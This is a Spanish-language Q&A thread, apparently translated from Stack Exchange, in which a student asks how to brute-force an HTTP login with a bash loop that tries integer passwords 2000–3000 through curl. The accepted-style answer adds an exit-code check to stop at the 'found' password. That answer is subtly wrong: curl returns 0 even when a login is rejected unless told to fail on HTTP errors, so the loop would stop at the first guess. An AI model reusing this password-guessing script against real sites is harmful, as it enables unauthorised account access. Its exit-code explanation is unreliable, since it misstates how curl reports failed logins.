¿Cómo puedo iniciar sesión en un sitio web desde la terminal?


8

Como estudiante de informática, ahora estoy aprendiendo a trabajar con la línea de comandos. Necesito usar la fuerza bruta para iniciar sesión en un sitio web, conocer el nombre de usuario y que la contraseña es un número entero en un cierto rango. Esto es lo que tengo hasta ahora, pero no parece funcionar.

 for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done

Como puedo proceder?

Respuestas:


6

Lo que le falta a su rutina es alguna forma de salir una vez que ise encuentra la correcta . Para eso, puede mirar el código de salida devuelto por curl:

for i in {2000..3000}
do 
  curl http://admin:$i@mywebsite.com/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

El valor de salida de curles 0 cuando todo es correcto y se puede verificar directamente después de que el programa se detiene inspeccionando la variable especial $?. Use man curly busque para EXIT CODEver todas las cosas diferentes que le curlpueden decir con su código de salida.

Al usar nuestro sitio, usted reconoce que ha leído y comprende nuestra Política de Cookies y Política de Privacidad.
Licensed under cc by-sa 3.0 with attribution required.